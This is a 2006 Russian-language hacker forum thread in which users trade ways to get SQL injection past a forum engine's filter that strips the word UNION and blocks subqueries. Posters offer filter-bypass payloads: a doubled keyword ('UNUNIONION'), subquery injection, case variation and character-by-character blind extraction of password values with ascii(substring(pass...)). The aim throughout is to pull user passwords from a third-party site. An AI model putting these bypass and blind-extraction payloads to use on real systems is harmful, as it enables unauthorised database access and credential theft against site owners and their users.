sql injection without union

Discussion in 'PHP' started by Майор, 7 Apr 2006.

  1. Майор

    Майор Active Member

    Joined:
    24 Oct 2004
    Messages:
    558
    Likes Received:
    112
    Reputations:
    146
    смотрел я на днях движок одного форума, там из запросов вырезается слово Union =(
    что-нибудь можно придумать ?
     
  2. Deem3n®

    Deem3n® RTFMSDN

    Joined:
    19 Sep 2005
    Messages:
    378
    Likes Received:
    153
    Reputations:
    164
    Ну это смотря как вырезается. Попробуй вот так:
    SELECT field1, field2, ...., fieldn from table1 UNUNIONION SELECT 1, 2, ...., n from table2
     
  3. k1b0rg

    k1b0rg Тут может быть ваша реклама.

    Joined:
    30 Jul 2005
    Messages:
    1,182
    Likes Received:
    399
    Reputations:
    479
    а можно ошарашить движок подзапросами
    например такого вида:
    seclet pass from users where id=-1+and(select+pass)
    или путем посиволного перебора пароля

    seclet pass from users where id=1+and+(id=2)+and+(ascii(substring(pass,0,1))<100)
     
  4. Майор

    Майор Active Member

    Joined:
    24 Oct 2004
    Messages:
    558
    Likes Received:
    112
    Reputations:
    146
    ну перебор - это не то чего бы хотелось :)
    вложенные запросы тоже режутся
    вот так вот это происходит:
    preg_match('~(^|[^a-z])union($|[^[a-z])~s',$sql)

    preg_match('~\([^)]*?select~s',$sql)

    естественно запрос идёт не к таблице с юзерами =(
     
  5. Майор

    Майор Active Member

    Joined:
    24 Oct 2004
    Messages:
    558
    Likes Received:
    112
    Reputations:
    146
    не, там сообщение об ошибке выводиться ...
     
  6. k1b0rg

    k1b0rg Тут может быть ваша реклама.

    Joined:
    30 Jul 2005
    Messages:
    1,182
    Likes Received:
    399
    Reputations:
    479
    попробуй разный регистр ;)
     
  7. Майор

    Майор Active Member

    Joined:
    24 Oct 2004
    Messages:
    558
    Likes Received:
    112
    Reputations:
    146
    там все в нижний переводиться ...
     
  8. k1b0rg

    k1b0rg Тут может быть ваша реклама.

    Joined:
    30 Jul 2005
    Messages:
    1,182
    Likes Received:
    399
    Reputations:
    479
    а если использовать and(mysql.pass='123')
     
  9. Майор

    Майор Active Member

    Joined:
    24 Oct 2004
    Messages:
    558
    Likes Received:
    112
    Reputations:
    146
    Unknown column 'mysql.user.pass' in 'where clause'
    даже еслиб работало , толку немного от этого :(
     
    #9 Майор, 7 Apr 2006
    Last edited: 7 Apr 2006
  10. k1b0rg

    k1b0rg Тут может быть ваша реклама.

    Joined:
    30 Jul 2005
    Messages:
    1,182
    Likes Received:
    399
    Reputations:
    479
    Unknown column 'mysql.user.pass' in 'where clause'

    толк есть, значит подзапросы работают, а я тебе код дал для примера, а подставлять нада свои значения